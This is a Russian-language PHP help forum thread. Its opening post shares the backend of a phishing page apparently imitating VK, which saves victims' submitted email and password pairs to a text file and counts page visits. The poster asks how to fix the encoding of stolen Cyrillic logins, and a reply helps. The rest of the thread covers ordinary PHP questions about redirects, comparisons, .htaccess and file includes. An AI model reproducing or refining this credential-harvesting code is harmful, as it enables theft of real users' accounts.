Мужики подскажите. Переделал фейк чей то под свой сайт. Все норм вроде бы, но к сожалению в тхт файл акки на русском языке с русскими логинами и пассами пишутся криво т.е иероглифы. как решить проблему? Код куска отвечающий за сохранение в файл: PHP: <? $mail=$_POST["email"]; $pass=$_POST["pass"]; $ref=$_POST["ref"]; if (!$ref) $ref=getenv('HTTP_REFERER'); $ref=UrlDecode($ref); $now = getdate(); $nowstring=$now['mday'].".".$now['mon'].".".$now['year']." ".$now['hours'].":".$now['minutes'].":".$now['seconds']; if ($mail) { //General log file $log="./vk.txt"; $file = fopen ($log, "a+"); $ip=getenv('REMOTE_ADDR'); if($ip==""){$ip=getenv("HTTP_X_FORWARDED_FOR");} $str="$mail:$pass\n"; fputs ($file, $str); fclose($file); $list="./vk_fakefrmcnt.txt"; //counter of form submits } else { $list="./vk_fakecnt.txt"; //counter of page enters } $cnt=0; if(@$file = fopen($list, "r")) { $numberOfStrings = count($file); if ($numberOfStrings > 0) { $cnt=fgets($file); } fclose($file); } $cnt+=1; $file = fopen ($list, "w"); fputs ($file, $cnt); fclose($file); ?>
SSHenzO В какой программе вы просматриваете txt файл? Если прям с того же сайта, то в браузере нажмите Вид - Кодировка - UTF8
Да спасибо большое помогло. Смотрел через сам фтп клиент а оно кодировку русскую и не понимало по ходу.
Помогите написать пару строк Пустое поле для ввода, не большого размера, чтоб если ввести туда значение "S" (s цифры или буквы, чтоб это значение я мог менять) Если ввели правильно, перекидывало на страницу, если нет выходила надпись - ошибка =) Буду очень признателен
form.php PHP: <form action = 'redirect.php' method = 'POST'> <input type = 'text' name = 'perem' size = '3'> <input type = 'submit'> </form> redirect.php PHP: <?php $znachenie = 'S'; // Нужное значение $perem = $_POST ['perem']; if (isset($_POST ['perem']) && $_POST['perem']==$znachenie) { header ("Location:http://site.com"); } else { echo 'Ошибка!'; } ?>
PHP: <form method=post> <input type=text name=kod> </form> <? $kod=$_POST['kod']; // тут нужные проверки если только цифры то is_numeric и т.д if(isset($kod) AND $kod == $moy_kod) { echo "Ura "; header ("Location: $URL"); // redirekt }else{ echo "ERROR"; } ?> $moy_kod это твой код. Запиши его в фаил конфиг и приинклудь или получи с базы,файла UPD Опередили)
Твой пример не будет работать, так как заголовки можно посылать, только если до этого не было никакого вывода в браузер. Скрипт выплюнет ошибку Warning: Cannot modify header information - headers already sent by (output started at бла бла бла) on line
to Redwood Это я написал прям тут и не проверял. Меняем метод редиректа и все. дело в шляпе. Автору как пища в какую сторону копать, а не как 100% готовое решение. Думаю он под свой проект сам заточит
Redwood, -=Zhenek=- спасибо вам большое =) Я уже это писал, пост потерли.. А теперь новый вопрос, если поставить редирект в .htaccess PHP: RewriteCond %{HTTP_HOST} ^site.ru RewriteRule (.*) http://www.site2.ru$1 [R=301,L] RewriteCond %{HTTP_HOST} ^www.site.ru RewriteRule (.*) http://www.site2.ru$1 [R=301,L] Будет ли на site2 виден реферер (в моем случае site.ru) пользователя?
Хочу поэксперементировать со сравнением данных, вот код: Code: <?php $name = 'Admin'; $kto_zdes = 'Admin'; return $name = $kto_zdes; ?> как мне написать, что в итоге выводилось либо TRUE либо FALSE?
PHP: <?php $name = 'Admin'; $kto_zdes = 'Admin'; if($name == $kto_zdes) echo "true"; else echo "false"; ?>
ну через цикл я знал как сделать, а вот PHP есть само при сравнении возвращяет нужные значение, это можно как то сделать?
Где ты тут цикл нашёл? Условный оператор, может? Так пойдёт?) Code: $p1 = 'test'; $p2 = 'test2'; echo ($p1 == $p2) ? 'true' : 'false';
Такс... Есть такая задача: есть текстовые файлы 1.txt 2.txt и т.д. до Х.txt Мне нужно, чтобы содержимое из одного из этих файлов публиковалось в указанном месте. Причём текстовый материал брался либо случайно, либо по очереди сначала 1.txt, затем из 2.txt и так далее. Php я начал изучать не так давно, поэтому не особо понимаю какую нужно использовать функцию или вообще как это осуществить. По идее нужно создать ассоциативный массив с этими файлами, затем через инклюд подгружать один из файлов. Или я ошибаюсь? Подскажите, пож-та, как это можно сделать.
У меня установлен AppServ. После установки Visual Studio отказывается работать phpmyadmin Такая вот ошибка: Code: [IMG]http://s41.radikal.ru/i091/1008/1c/2f29de40de4b.png[/IMG] Уже переустанавливал AppServ, всёравно не помогло